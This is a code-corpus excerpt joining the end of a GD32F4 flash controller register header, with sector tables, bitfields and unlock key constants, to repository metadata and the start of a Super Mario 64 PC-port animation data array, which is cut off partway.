GD32_FMC_NSECTORS 8 # define GD32_FMC_SIZE _K((4 * 16) + (1 * 64) + (3 * 128)) # define GD32_FMC_SIZES {_K(16), _K(16), _K(16), _K(16), \ _K(64),_K(128), _K(128), _K(128)} /* Override of the FLASH Has been Chosen */ #elif !defined(CONFIG_GD32F4_FLASH_CONFIG_DEFAULT) # if defined(CONFIG_GD32F4_FLASH_CONFIG_E) # define GD32_FMC_NSECTORS 8 # define GD32_FMC_SIZE _K((4 * 16) + (1 * 64) + (3 * 128)) # define GD32_FMC_SIZES {_K(16), _K(16), _K(16), _K(16), \ _K(64), _K(128), _K(128), _K(128)} # elif defined(CONFIG_GD32F4_FLASH_CONFIG_G) # define GD32_FMC_NSECTORS 12 # define GD32_FMC_SIZE _K((4 * 16) + (1 * 64) + (7 * 128)) # define GD32_FMC_SIZES {_K(16), _K(16), _K(16), _K(16), \ _K(64), _K(128), _K(128), _K(128), \ _K(128), _K(128), _K(128), _K(128)} # elif defined(CONFIG_GD32F4_FLASH_CONFIG_I) # define GD32_FMC_NSECTORS 24 # define GD32_FMC_SIZE _K((4 * 16) + (1 * 64) + (7 * 128)) + \ _K((4 * 16) + (1 * 64) + (7 * 128)) # define GD32_FMC_SIZES {_K(16), _K(16), _K(16), _K(16), \ _K(64), _K(128), _K(128), _K(128), \ _K(128), _K(128), _K(128), _K(128), \ _K(16), _K(16), _K(16), _K(16), \ _K(64), _K(128), _K(128), _K(128), \ _K(128), _K(128), _K(128), _K(128)} # elif defined(CONFIG_GD32F4_FLASH_CONFIG_K) # define GD32_FMC_NSECTORS 28 # define GD32_FMC_SIZE _K((4 * 16) + (1 * 64) + (7 * 128)) + \ _K((4 * 16) + (1 * 64) + (7 * 128)) # define GD32_FMC_SIZES {_K(16), _K(16), _K(16), _K(16), \ _K(64), _K(128), _K(128), _K(128), \ _K(128), _K(128), _K(128), _K(128), \ _K(16), _K(16), _K(16), _K(16), \ _K(64), _K(128), _K(128), _K(128), \ _K(128), _K(128), _K(128), _K(128)}, \ _K(256), _K(256), _K(256), _K(256)} # endif #endif /* !defined(CONFIG_GD32F4_FLASH_CONFIG_DEFAULT) */ /* Register Offsets *********************************************************/ #define GD32_FMC_WS_OFFSET 0x0000 /* FMC wait state register offset */ #define GD32_FMC_KEY_OFFSET 0x0004 /* FMC unlock key register offset */ #define GD32_FMC_OBKEY_OFFSET 0x0008 /* FMC option byte register offset */ #define GD32_FMC_STAT_OFFSET 0x000C /* FMC status register offset */ #define GD32_FMC_CTL_OFFSET 0x0010 /* FMC control register offset */ #define GD32_FMC_OBCTL0_OFFSET 0x0014 /* FMC option byte control register 0 offset */ #define GD32_FMC_OBCTL1_OFFSET 0x0018 /* FMC option byte control register 1 offset */ #define GD32_FMC_PECFG_OFFSET 0x0020 /* FMC page erase configuration register offset*/ #define GD32_FMC_PEKEY_OFFSET 0x0024 /* FMC unlock page erase key register offset*/ #define GD32_FMC_WSEN_OFFSET 0x00FC /* FMC wait state enable register offset */ #define GD32_FMC_PID_OFFSET 0x0100 /* FMC product ID register offset */ /* Register Addresses *******************************************************/ #define GD32_FMC_WS (GD32_FMC_BASE+GD32_FMC_WS_OFFSET) /* FMC wait state register */ #define GD32_FMC_KEY (GD32_FMC_BASE+GD32_FMC_KEY_OFFSET) /* FMC unlock key register */ #define GD32_FMC_OBKEY (GD32_FMC_BASE+GD32_FMC_OBKEY_OFFSET) /* FMC option byte register */ #define GD32_FMC_STAT (GD32_FMC_BASE+GD32_FMC_STAT_OFFSET) /* FMC status register */ #define GD32_FMC_CTL (GD32_FMC_BASE+GD32_FMC_CTL_OFFSET) /* FMC control register */ #define GD32_FMC_OBCTL0 (GD32_FMC_BASE+GD32_FMC_OBCTL0_OFFSET) /* FMC option byte control register 0 */ #define GD32_FMC_OBCTL1 (GD32_FMC_BASE+GD32_FMC_OBCTL1_OFFSET) /* FMC option byte control register 1 */ #define GD32_FMC_PECFG (GD32_FMC_BASE+GD32_FMC_PECFG_OFFSET) /* FMC page erase configuration register */ #define GD32_FMC_PEKEY (GD32_FMC_BASE+GD32_FMC_PEKEY_OFFSET) /* FMC unlock page erase key register */ #define GD32_FMC_WSEN (GD32_FMC_BASE+GD32_FMC_WSEN_OFFSET) /* FMC wait state enable register */ #define GD32_FMC_PID (GD32_FMC_BASE+GD32_FMC_PID_OFFSET) /* FMC product ID register */ /* Register Bitfield Definitions ********************************************/ /* FMC wait state register */ #define FMC_WS_WSCNT_SHIFT (0) #define FMC_WS_WSCNT_MASK (15 << FMC_WS_WSCNT_SHIFT) #define FMC_WC_WSCNT(n) ((n) << FMC_WS_WSCNT_SHIFT) #define FMC_WS_WSCNT_0 WC_WSCNT(0) /* FMC 0 wait */ #define FMC_WS_WSCNT_1 WC_WSCNT(1) /* FMC 1 wait */ #define FMC_WS_WSCNT_2 WC_WSCNT(2) /* FMC 2 wait */ #define FMC_WS_WSCNT_3 WC_WSCNT(3) /* FMC 3 wait */ #define FMC_WS_WSCNT_4 WC_WSCNT(4) /* FMC 4 wait */ #define FMC_WS_WSCNT_5 WC_WSCNT(5) /* FMC 5 wait */ #define FMC_WS_WSCNT_6 WC_WSCNT(6) /* FMC 6 wait */ #define FMC_WS_WSCNT_7 WC_WSCNT(7) /* FMC 7 wait */ #define FMC_WS_WSCNT_8 WC_WSCNT(8) /* FMC 8 wait */ #define FMC_WS_WSCNT_9 WC_WSCNT(9) /* FMC 9 wait */ #define FMC_WS_WSCNT_10 WC_WSCNT(10) /* FMC 10 wait */ #define FMC_WS_WSCNT_11 WC_WSCNT(11) /* FMC 11 wait */ #define FMC_WS_WSCNT_12 WC_WSCNT(12) /* FMC 12 wait */ #define FMC_WS_WSCNT_13 WC_WSCNT(13) /* FMC 13 wait */ #define FMC_WS_WSCNT_14 WC_WSCNT(14) /* FMC 14 wait */ #define FMC_WS_WSCNT_15 WC_WSCNT(15) /* FMC 15 wait */ /* FMC status register */ #define FMC_STAT_END (1 << 0) /* Bit 0: end of operation flag bit */ #define FMC_STAT_OPERR (1 << 1) /* Bit 1: flash operation error flag bit */ #define FMC_STAT_WPERR (1 << 4) /* Bit 4: erase/Program protection error flag bit */ #define FMC_STAT_PGMERR (1 << 5) /* Bit 5: program size not match error flag bit */ #define FMC_STAT_PGSERR (1 << 6) /* Bit 6: program sequence error flag bit */ #define FMC_STAT_RDDERR (1 << 7) /* Bit 7: read D-bus protection error flag bit */ #define FMC_STAT_BUSY (1 << 16) /* Bit 16: flash busy flag bit */ /* FMC control register */ #define FMC_CTL_PG (1 << 0) /* Bit 0: main flash program command bit */ #define FMC_CTL_SER (1 << 1) /* Bit 1: main flash sector erase command bit */ #define FMC_CTL_MER0 (1 << 2) /* Bit 2: main flash mass erase for bank0 command bit */ #define FMC_CTL_SN_SHIFT (3) /* Bits 3-7: select which sector number to be erased */ #define FMC_CTL_SN_MASK (31 << FMC_CTL_SN_SHIFT) #define FMC_CTL_SN(n) ((n) << FMC_CTL_SN_SHIFT) /* Sector n, n=0..11 */ #define FMC_CTL_SN_0_11(n) ((n) << FMC_CTL_SN_SHIFT) /* Sector n, n=0..11 */ #define FMC_CTL_SN_12_23(n) ((n+4) << FMC_CTL_SN_SHIFT)) /* Sector n, n=12..23 */ #define FMC_CTL_SN_24_27(n) ((n-12) << FMC_CTL_SN_SHIFT)) /* Sector n, n=24..27 */ #define FMC_CTL_SN_0 (0 << FMC_CTL_SN_SHIFT) /* sector 0 */ #define FMC_CTL_SN_1 (1 << FMC_CTL_SN_SHIFT) /* sector 1 */ #define FMC_CTL_SN_2 (2 << FMC_CTL_SN_SHIFT) /* sector 2 */ #define FMC_CTL_SN_3 (3 << FMC_CTL_SN_SHIFT) /* sector 3 */ #define FMC_CTL_SN_4 (4 << FMC_CTL_SN_SHIFT) /* sector 4 */ #define FMC_CTL_SN_5 (5 << FMC_CTL_SN_SHIFT) /* sector 5 */ #define FMC_CTL_SN_6 (6 << FMC_CTL_SN_SHIFT) /* sector 6 */ #define FMC_CTL_SN_7 (7 << FMC_CTL_SN_SHIFT) /* sector 7 */ #define FMC_CTL_SN_8 (8 << FMC_CTL_SN_SHIFT) /* sector 8 */ #define FMC_CTL_SN_9 (9 << FMC_CTL_SN_SHIFT) /* sector 9 */ #define FMC_CTL_SN_10 (10 << FMC_CTL_SN_SHIFT) /* sector 10 */ #define FMC_CTL_SN_11 (11 << FMC_CTL_SN_SHIFT) /* sector 11 */ #define FMC_CTL_SN_12 (16 << FMC_CTL_SN_SHIFT) /* sector 12 */ #define FMC_CTL_SN_13 (17 << FMC_CTL_SN_SHIFT) /* sector 13 */ #define FMC_CTL_SN_14 (18 << FMC_CTL_SN_SHIFT) /* sector 14 */ #define FMC_CTL_SN_15 (19 << FMC_CTL_SN_SHIFT) /* sector 15 */ #define FMC_CTL_SN_16 (20 << FMC_CTL_SN_SHIFT) /* sector 16 */ #define FMC_CTL_SN_17 (21 << FMC_CTL_SN_SHIFT) /* sector 17 */ #define FMC_CTL_SN_18 (22 << FMC_CTL_SN_SHIFT) /* sector 18 */ #define FMC_CTL_SN_19 (23 << FMC_CTL_SN_SHIFT) /* sector 19 */ #define FMC_CTL_SN_20 (24 << FMC_CTL_SN_SHIFT) /* sector 20 */ #define FMC_CTL_SN_21 (25 << FMC_CTL_SN_SHIFT) /* sector 21 */ #define FMC_CTL_SN_22 (26 << FMC_CTL_SN_SHIFT) /* sector 22 */ #define FMC_CTL_SN_23 (27 << FMC_CTL_SN_SHIFT) /* sector 23 */ #define FMC_CTL_SN_24 (12 << FMC_CTL_SN_SHIFT) /* sector 24 */ #define FMC_CTL_SN_25 (13 << FMC_CTL_SN_SHIFT) /* sector 25 */ #define FMC_CTL_SN_26 (14 << FMC_CTL_SN_SHIFT) /* sector 26 */ #define FMC_CTL_SN_27 (15 << FMC_CTL_SN_SHIFT) /* sector 27 */ #define FMC_CTL_PSZ_SHIFT (8) /* Bits 8-9: Program size */ #define FMC_CTL_PSZ_MASK (3 << FMC_CTL_PSZ_SHIFT) #define FMC_CTL_PSZ_BYTE (0 << FMC_CTL_PSZ_SHIFT) /* FMC program by byte access */ #define FMC_CTL_PSZ_HALF_WORD (1 << FMC_CTL_PSZ_SHIFT) /* FMC program by half-word access */ #define FMC_CTL_PSZ_WORD (2 << FMC_CTL_PSZ_SHIFT) /* FMC program by word access */ #define FMC_CTL_MER1 (1 << 15) /* Bit 15: main flash mass erase for bank1 command bit */ #define FMC_CTL_START (1 << 16) /* Bit 16: send erase command to FMC bit */ #define FMC_CTL_ENDIE (1 << 24) /* Bit 24: end of operation interrupt enable bit */ #define FMC_CTL_ERRIE (1 << 25) /* Bit 25: error interrupt enable bit */ #define FMC_CTL_LK (1 << 31) /* Bit 31: FMC_CTL lock bit */ /* FMC option byte control register 0 */ #define FMC_OBCTL0_OB_LK (1 << 0) /* Bit 0: FMC_OBCTL0 lock bit */ #define FMC_OBCTL0_OB_START (1 << 1) /* Bit 1: send option byte change command to FMC bit */ #define FMC_OBCTL0_BOR_TH_SHIFT (2) /* Bits 2-3: Boption byte BOR threshold value */ #define FMC_OBCTL0_BOR_TH_MASK (3 << FLASH_OPTCR_BORLEV_SHIFT) #define FMC_OB_BOR_TH_VALUE3 (0 << FLASH_OPTCR_BORLEV_SHIFT) /* BOR threshold value 3 */ #define FMC_OB_BOR_TH_VALUE2 (1 << FLASH_OPTCR_BORLEV_SHIFT) /* BOR threshold value 2 */ #define FMC_OB_BOR_TH_VALUE1 (2 << FLASH_OPTCR_BORLEV_SHIFT) /* BOR threshold value 1 */ #define FMC_OB_BOR_TH_VALUE0 (3 << FLASH_OPTCR_BORLEV_SHIFT) /* no BOR function */ #define FMC_OBCTL0_BB (1 << 4) /* Bit 4: option byte boot bank value */ #define FMC_OBCTL0_NWDG_HW (1 << 5) /* Bit 5: option byte watchdog value */ #define FMC_OBCTL0_NRST_DPSLP (1 << 5) /* Bit 6: option byte deepsleep value */ #define FMC_OBCTL0_NRST_STDBY (1 << 7) /* Bit 7: option byte standby value */ #define FMC_OBCTL0_SPC_SHIFT (8) /* Bits 8-15: option byte Security Protection code */ #define FMC_OBCTL0_SPC_MASK (0xff << FMC_OBCTL0_SPC_SHIFT) #define FMC_OBCTL0_WP0_SHIFT (16) /* Bits 16-27: erase/program protection of each sector when DRP is 0 */ #define FMC_OBCTL0_WP0_MASK (0xfff << FMC_OBCTL0_WP0_SHIFT) #define FMC_OBCTL0_DBS (1 << 30) /* Bit 30: double banks or single bank selection when flash size is 1M bytes */ #define FMC_OBCTL0_DRP (1 << 31) /* Bit 31: D-bus read protection bit */ /* FMC option byte control register 1 */ #define FMC_OBCTL1_WP1_SHIFT (16) /* Bits 16-27: erase/program protection of each sector when DRP is 0 */ #define FMC_OBCTL1_WP1_MASK (0xfff << FMC_OBCTL1_WP1_SHIFT) /* FMC_PECFG */ #define FMC_PE_EN (1 << 31) /* the enable bit of page erase function */ /* FMC wait state enable register */ #define FMC_WSEN_WSEN (1 << 0) /* FMC wait state enable bit */ /* FMC unlock key */ #define FMC_UNLOCK_KEY0 (0x45670123) /* Unlock key 0 */ #define FMC_UNLOCK_KEY1 (0xCDEF89AB) /* Unlock key 1 */ #define FMC_UNLOCK_PE_KEY (0xA9B8C7D6) /* unlock page erase function key */ #define FMC_OB_UNLOCK_KEY0 (0x08192A3B) /* ob unlock key 0 */ #define FMC_OB_UNLOCK_KEY1 (0x4C5D6E7F) /* ob unlock key 1 */ /* option bytes write protection */ #define FMC_OB_WP_0 (0x00000001) /* erase/program protection of sector 0 */ #define FMC_OB_WP_1 (0x00000002) /* erase/program protection of sector 1 */ #define FMC_OB_WP_2 (0x00000004) /* erase/program protection of sector 2 */ #define FMC_OB_WP_3 (0x00000008) /* erase/program protection of sector 3 */ #define FMC_OB_WP_4 (0x00000010) /* erase/program protection of sector 4 */ #define FMC_OB_WP_5 (0x00000020) /* erase/program protection of sector 5 */ #define FMC_OB_WP_6 (0x00000040) /* erase/program protection of sector 6 */ #define FMC_OB_WP_7 (0x00000080) /* erase/program protection of sector 7 */ #define FMC_OB_WP_8 (0x00000100) /* erase/program protection of sector 8 */ #define FMC_OB_WP_9 (0x00000200) /* erase/program protection of sector 9 */ #define FMC_OB_WP_10 (0x00000400) /* erase/program protection of sector 10 */ #define FMC_OB_WP_11 (0x00000800) /* erase/program protection of sector 11 */ #define FMC_OB_WP_12 (0x00010000) /* erase/program protection of sector 12 */ #define FMC_OB_WP_13 (0x00020000) /* erase/program protection of sector 13 */ #define FMC_OB_WP_14 (0x00040000) /* erase/program protection of sector 14 */ #define FMC_OB_WP_15 (0x00080000) /* erase/program protection of sector 15 */ #define FMC_OB_WP_16 (0x00100000) /* erase/program protection of sector 16 */ #define FMC_OB_WP_17 (0x00200000) /* erase/program protection of sector 17 */ #define FMC_OB_WP_18 (0x00400000) /* erase/program protection of sector 18 */ #define FMC_OB_WP_19 (0x00800000) /* erase/program protection of sector 19 */ #define FMC_OB_WP_20 (0x01000000) /* erase/program protection of sector 20 */ #define FMC_OB_WP_21 (0x02000000) /* erase/program protection of sector 21 */ #define FMC_OB_WP_22 (0x04000000) /* erase/program protection of sector 22 */ #define FMC_OB_WP_23_27 (0x08000000) /* erase/program protection of sector 23~27 */ #define FMC_OB_WP_ALL (0x0FFF0FFF) /* erase/program protection of all sectors */ /* option bytes D-bus read protection */ #define FMC_OB_DRP_0 (0x00000001) /* D-bus read protection protection of sector 0 */ #define FMC_OB_DRP_1 (0x00000002) /* D-bus read protection protection of sector 1 */ #define FMC_OB_DRP_2 (0x00000004) /* D-bus read protection protection of sector 2 */ #define FMC_OB_DRP_3 (0x00000008) /* D-bus read protection protection of sector 3 */ #define FMC_OB_DRP_4 (0x00000010) /* D-bus read protection protection of sector 4 */ #define FMC_OB_DRP_5 (0x00000020) /* D-bus read protection protection of sector 5 */ #define FMC_OB_DRP_6 (0x00000040) /* D-bus read protection protection of sector 6 */ #define FMC_OB_DRP_7 (0x00000080) /* D-bus read protection protection of sector 7 */ #define FMC_OB_DRP_8 (0x00000100) /* D-bus read protection protection of sector 8 */ #define FMC_OB_DRP_9 (0x00000200) /* D-bus read protection protection of sector 9 */ #define FMC_OB_DRP_10 (0x00000400) /* D-bus read protection protection of sector 10 */ #define FMC_OB_DRP_11 (0x00000800) /* D-bus read protection protection of sector 11 */ #define FMC_OB_DRP_12 (0x00010000) /* D-bus read protection protection of sector 12 */ #define FMC_OB_DRP_13 (0x00020000) /* D-bus read protection protection of sector 13 */ #define FMC_OB_DRP_14 (0x00040000) /* D-bus read protection protection of sector 14 */ #define FMC_OB_DRP_15 (0x00080000) /* D-bus read protection protection of sector 15 */ #define FMC_OB_DRP_16 (0x00100000) /* D-bus read protection protection of sector 16 */ #define FMC_OB_DRP_17 (0x00200000) /* D-bus read protection protection of sector 17 */ #define FMC_OB_DRP_18 (0x00400000) /* D-bus read protection protection of sector 18 */ #define FMC_OB_DRP_19 (0x00800000) /* D-bus read protection protection of sector 19 */ #define FMC_OB_DRP_20 (0x01000000) /* D-bus read protection protection of sector 20 */ #define FMC_OB_DRP_21 (0x02000000) /* D-bus read protection protection of sector 21 */ #define FMC_OB_DRP_22 (0x04000000) /* D-bus read protection protection of sector 22 */ #define FMC_OB_DRP_23_27 (0x08000000) /* D-bus read protection protection of sector 23~27 */ #define FMC_OB_DRP_ALL (0x0FFF0FFF) /* D-bus read protection protection of all sectors */ /* FMC time out */ #define FMC_TIMEOUT_COUNT (0x4FFFFFFF) /* count to judge of FMC timeout */ #endif /* __ARCH_ARM_SRC_GD32F4_HARDWARE_GD32F4XX_FMC_H */
2c526e7bf0e552775ee725221cafa7ddc9feb2c4
ecce427678ecff2a93a47f3b1b664202c7d27617
/assets/anims/anim_4D_4E.inc.c
6c0851e72c49ff9937a0d58e3ae1877e242390f4
[]
no_license
sm64pc/sm64ex
ecf37f31b3f7426c4874254660d856030d789714
54cd27ccee45a2403b45f07a00d6043c51149969
refs/heads/nightly
2023-08-11T12:14:34.424168
2023-07-01T11:45:50
2023-07-01T11:45:50
262,091,731
795
238
null
2023-07-01T11:45:51
2020-05-07T15:43:27
C
UTF-8
C
false
false
11,993
c
anim_4D_4E.inc.c
static const struct Animation anim_4D[] = { 1, 189, 0, 0, 0x0C, ANIMINDEX_NUMPARTS(anim_4D_4E_indices), anim_4D_4E_values, anim_4D_4E_indices, 0, }; static const struct Animation anim_4E[] = { 1, 189, 22, 0, 0x26, ANIMINDEX_NUMPARTS(anim_4D_4E_indices), anim_4D_4E_values, anim_4D_4E_indices, 0, }; static const u16 anim_4D_4E_indices[] = { 0x0001, 0x0000, 0x0026, 0x0001, 0x0026, 0x0027, 0x0001, 0x0000, 0x0001, 0x004D, 0x0001, 0x0000, 0x0001, 0x0000, 0x0001, 0x0000, 0x0026, 0x04A6, 0x0026, 0x0434, 0x0026, 0x045A, 0x0026, 0x0480, 0x0026, 0x03C2, 0x0026, 0x03E8, 0x0026, 0x040E, 0x0001, 0x03BE, 0x0001, 0x03BF, 0x0001, 0x03C0, 0x0026, 0x0076, 0x0026, 0x009C, 0x0026, 0x00C2, 0x0001, 0x0000, 0x0001, 0x0000, 0x0026, 0x0050, 0x0001, 0x0000, 0x0001, 0x004E, 0x0001, 0x004F, 0x0001, 0x0395, 0x0001, 0x0396, 0x0001, 0x0397, 0x0026, 0x010F, 0x0026, 0x0135, 0x0026, 0x015B, 0x0001, 0x0000, 0x0001, 0x0000, 0x0026, 0x00E9, 0x0001, 0x0000, 0x0001, 0x0000, 0x0001, 0x00E8, 0x0001, 0x0000, 0x0001, 0x0000, 0x0026, 0x0398, 0x0026, 0x0323, 0x0026, 0x0349, 0x0026, 0x036F, 0x0001, 0x0000, 0x0001, 0x0000, 0x0026, 0x02FD, 0x0026, 0x028B, 0x0026, 0x02B1, 0x0026, 0x02D7, 0x0001, 0x0000, 0x0001, 0x0000, 0x0001, 0x03C1, 0x0026, 0x0219, 0x0026, 0x023F, 0x0026, 0x0265, 0x0001, 0x0000, 0x0001, 0x0000, 0x0026, 0x01F3, 0x0026, 0x0181, 0x0026, 0x01A7, 0x0026, 0x01CD, }; static const s16 anim_4D_4E_values[] = { 0x0000, 0x00AA, 0x00AA, 0x00AA, 0x00AA, 0x00AA, 0x00AA, 0x00AA, 0x00AA, 0x00AA, 0x00AA, 0x00AA, 0x00AA, 0x00AA, 0x00AA, 0x00AA, 0x00AA, 0x00AA, 0x00AA, 0x00AA, 0x00AA, 0x00AA, 0x00AA, 0x00AA, 0x0090, 0x0074, 0x0073, 0x007A, 0x0081, 0x0086, 0x008C, 0x0091, 0x0096, 0x009A, 0x009E, 0x00A2, 0x00A5, 0x00A7, 0x00AA, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x3FFF, 0xF97C, 0xED8C, 0xD5C7, 0xD923, 0xE140, 0xEB2F, 0xF400, 0xF8C2, 0xFA69, 0xFBDE, 0xFD1E, 0xFE27, 0xFEF7, 0xFF8B, 0xFFE1, 0xFFF6, 0xFFC9, 0xFF57, 0xFE9E, 0xFD9B, 0xFC4C, 0xFAAF, 0xF8C2, 0xF271, 0xE6B4, 0xDA11, 0xD111, 0xCEA5, 0xD001, 0xD111, 0xD08E, 0xCFF1, 0xCF40, 0xCE83, 0xCDC2, 0xCD03, 0xCC4E, 0xCBA9, 0xCB1D, 0xCAAF, 0xF619, 0xF4A1, 0xF114, 0xECBC, 0xE8E1, 0xE6CD, 0xE628, 0xE5BE, 0xE586, 0xE578, 0xE58C, 0xE5BA, 0xE5FA, 0xE644, 0xE690, 0xE6D7, 0xE710, 0xE734, 0xE73A, 0xE71A, 0xE6CD, 0xE596, 0xE355, 0xE0E8, 0xDF2E, 0xDE48, 0xDE1C, 0xDF2E, 0xE14B, 0xE3D6, 0xE6B0, 0xE9BB, 0xECDB, 0xEFF0, 0xF2DE, 0xF587, 0xF7CC, 0xF990, 0xD3FE, 0xD452, 0xD51F, 0xD61A, 0xD6F9, 0xD771, 0xD792, 0xD7A0, 0xD79D, 0xD78D, 0xD774, 0xD755, 0xD734, 0xD714, 0xD6F8, 0xD6E4, 0xD6DC, 0xD6E2, 0xD6FB, 0xD729, 0xD771, 0xD874, 0xDA54, 0xDC5A, 0xDDCA, 0xDE5B, 0xDE51, 0xDDCA, 0xDCF7, 0xDBF8, 0xDADA, 0xD9A9, 0xD870, 0xD73B, 0xD616, 0xD50C, 0xD428, 0xD377, 0xDA6E, 0xDC1C, 0xE02A, 0xE520, 0xE988, 0xEBE8, 0xECA3, 0xED19, 0xED55, 0xED60, 0xED43, 0xED09, 0xECBA, 0xEC61, 0xEC06, 0xEBB4, 0xEB75, 0xEB50, 0xEB51, 0xEB80, 0xEBE8, 0xED81, 0xF078, 0xF3AA, 0xF5F0, 0xF711, 0xF73E, 0xF5F0, 0xF36C, 0xF066, 0xED01, 0xE962, 0xE5AA, 0xE1FF, 0xDE83, 0xDB59, 0xD8A6, 0xD68C, 0xF549, 0xC61C, 0xC90E, 0xD02C, 0xD8E3, 0xE09F, 0xE4CB, 0xE62D, 0xE745, 0xE818, 0xE8AD, 0xE907, 0xE92E, 0xE925, 0xE8F3, 0xE89C, 0xE827, 0xE798, 0xE6F5, 0xE644, 0xE589, 0xE4CB, 0xE28B, 0xDE5B, 0xD9D9, 0xD6A4, 0xD5F6, 0xD6A1, 0xD6A4, 0xD586, 0xD42E, 0xD2AC, 0xD10F, 0xCF68, 0xCDC7, 0xCC3A, 0xCAD2, 0xC99F, 0xC8B0, 0x3FFC, 0x3EDB, 0x3C22, 0x38CD, 0x35D7, 0x343F, 0x3400, 0x345B, 0x352E, 0x3658, 0x37B7, 0x392A, 0x3A90, 0x3BC7, 0x3CAE, 0x3D24, 0x3D07, 0x3C36, 0x3A90, 0x37F3, 0x343F, 0x26BF, 0x0DBE, 0xF396, 0xE29E, 0xE31A, 0xEDCA, 0xF5C4, 0xF804, 0xFA21, 0xFC18, 0xFDE7, 0xFF8B, 0x00FF, 0x0243, 0x0353, 0x042B, 0x04C9, 0x3DF7, 0x3EAF, 0x406B, 0x428B, 0x446D, 0x4572, 0x45E2, 0x466C, 0x4707, 0x47A9, 0x4847, 0x48D9, 0x4955, 0x49B0, 0x49E1, 0x49DE, 0x499E, 0x4916, 0x483D, 0x470A, 0x4572, 0x3FCC, 0x3555, 0x2A5B, 0x232D, 0x233B, 0x277A, 0x2A7B, 0x2AFF, 0x2B62, 0x2BAB, 0x2BDC, 0x2BF9, 0x2C07, 0x2C07, 0x2C00, 0x2BF3, 0x2BE6, 0xD957, 0xD744, 0xD242, 0xCC21, 0xC6B0, 0xC3C0, 0xC310, 0xC30F, 0xC39B, 0xC492, 0xC5D0, 0xC733, 0xC899, 0xC9DD, 0xCADE, 0xCB79, 0xCB8B, 0xCAF1, 0xC988, 0xC72E, 0xC3C0, 0xB6FF, 0x9F66, 0x86E9, 0x777A, 0x78DB, 0x8471, 0x8EAC, 0x94B0, 0x9B33, 0xA205, 0xA8F4, 0xAFCC, 0xB65D, 0xBC75, 0xC1E1, 0xC66F, 0xC9EE, 0xFF76, 0xFF76, 0xFF76, 0xFF76, 0xFF76, 0xFF76, 0xFF6D, 0xFF55, 0xFF33, 0xFF09, 0xFEDB, 0xFEAD, 0xFE83, 0xFE61, 0xFE49, 0xFE40, 0xFE4A, 0xFE6B, 0xFEA5, 0xFEFC, 0xFF76, 0x0104, 0x03EF, 0x0732, 0x09C7, 0x08FF, 0x06CF, 0x0538, 0x04AD, 0x041B, 0x0385, 0x02EF, 0x025D, 0x01D3, 0x0153, 0x00E3, 0x0085, 0x003D, 0xFF65, 0xFF65, 0xFF65, 0xFF65, 0xFF65, 0xFF65, 0xFF63, 0xFF5E, 0xFF57, 0xFF4F, 0xFF45, 0xFF3C, 0xFF34, 0xFF2C, 0xFF28, 0xFF26, 0xFF28, 0xFF2E, 0xFF3A, 0xFF4C, 0xFF65, 0xFFB6, 0x004D, 0x00F7, 0x017E, 0x0159, 0x00E3, 0x009B, 0x0078, 0x0052, 0x002A, 0x0001, 0xFFDA, 0xFFB4, 0xFF90, 0xFF71, 0xFF56, 0xFF42, 0xE797, 0xE797, 0xE797, 0xE797, 0xE797, 0xE797, 0xE7CF, 0xE868, 0xE949, 0xEA5A, 0xEB84, 0xECAD, 0xEDBE, 0xEE9F, 0xEF38, 0xEF70, 0xEF30, 0xEE5F, 0xECE5, 0xEAAB, 0xE797, 0xDDA7, 0xCB07, 0xB5E9, 0xA47F, 0xA419, 0xAB4E, 0xAEAE, 0xB130, 0xB3F4, 0xB6E3, 0xB9E6, 0xBCE5, 0xBFC9, 0xC27B, 0xC4E4, 0xC6EC, 0xC87C, 0x10D8, 0x10D8, 0x10D8, 0x10D8, 0x10D8, 0x10D8, 0x10A3, 0x1013, 0x0F3F, 0x0E3E, 0x0D27, 0x0C0F, 0x0B0E, 0x0A3A, 0x09AA, 0x0975, 0x09B2, 0x0A76, 0x0BDA, 0x0DF3, 0x10D8, 0x1A10, 0x2B5D, 0x3F31, 0x4FF9, 0x53E3, 0x4BD3, 0x4703, 0x4344, 0x3F21, 0x3ABC, 0x363A, 0x31BB, 0x2D65, 0x2959, 0x25BB, 0x22AE, 0x2055, 0x0F4E, 0x0F4E, 0x0F4E, 0x0F4E, 0x0F4E, 0x0F4E, 0x0F52, 0x0F60, 0x0F73, 0x0F8B, 0x0FA5, 0x0FBF, 0x0FD7, 0x0FEA, 0x0FF8, 0x0FFC, 0x0FF7, 0x0FE5, 0x0FC4, 0x0F92, 0x0F4E, 0x0E7C, 0x0CF1, 0x0B1F, 0x0976, 0x082A, 0x0735, 0x0838, 0x09DF, 0x0BBB, 0x0DBC, 0x0FCF, 0x11E4, 0x13EA, 0x15CF, 0x1783, 0x18F4, 0x1A10, 0x04A6, 0x04A6, 0x04A6, 0x04A6, 0x04A6, 0x04A6, 0x0497, 0x046E, 0x0432, 0x03E9, 0x039A, 0x034B, 0x0302, 0x02C6, 0x029D, 0x028E, 0x029F, 0x02D7, 0x033C, 0x03D4, 0x04A6, 0x0740, 0x0C22, 0x11BF, 0x1688, 0x17E4, 0x17C6, 0x16F8, 0x1670, 0x15DA, 0x153C, 0x149A, 0x13F9, 0x135E, 0x12CE, 0x124D, 0x11E0, 0x118D, 0xC0FD, 0xC0FD, 0xC0FD, 0xC0FD, 0xC0FD, 0xC0FD, 0xC11E, 0xC17A, 0xC200, 0xC2A3, 0xC354, 0xC406, 0xC4A9, 0xC52F, 0xC58A, 0xC5AC, 0xC585, 0xC509, 0xC427, 0xC2D3, 0xC0FD, 0xBB32, 0xB04F, 0xA3C1, 0x98F2, 0x9504, 0x9431, 0x9699, 0x9895, 0x9AC7, 0x9D1C, 0x9F82, 0xA1E6, 0xA436, 0xA65E, 0xA84B, 0xA9EC, 0xAB2D, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0001, 0x0005, 0x000A, 0x0011, 0x0018, 0x001F, 0x0026, 0x002B, 0x002F, 0x0030, 0x002E, 0x0029, 0x0020, 0x0013, 0x0000, 0xFFC2, 0xFF4D, 0xFECA, 0xFE62, 0xFE7D, 0x0000, 0x03E1, 0x03CA, 0x038A, 0x032C, 0x02B6, 0x0234, 0x01AD, 0x012A, 0x00B5, 0x0056, 0x0017, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0x0000, 0xFFFF, 0xFFFB, 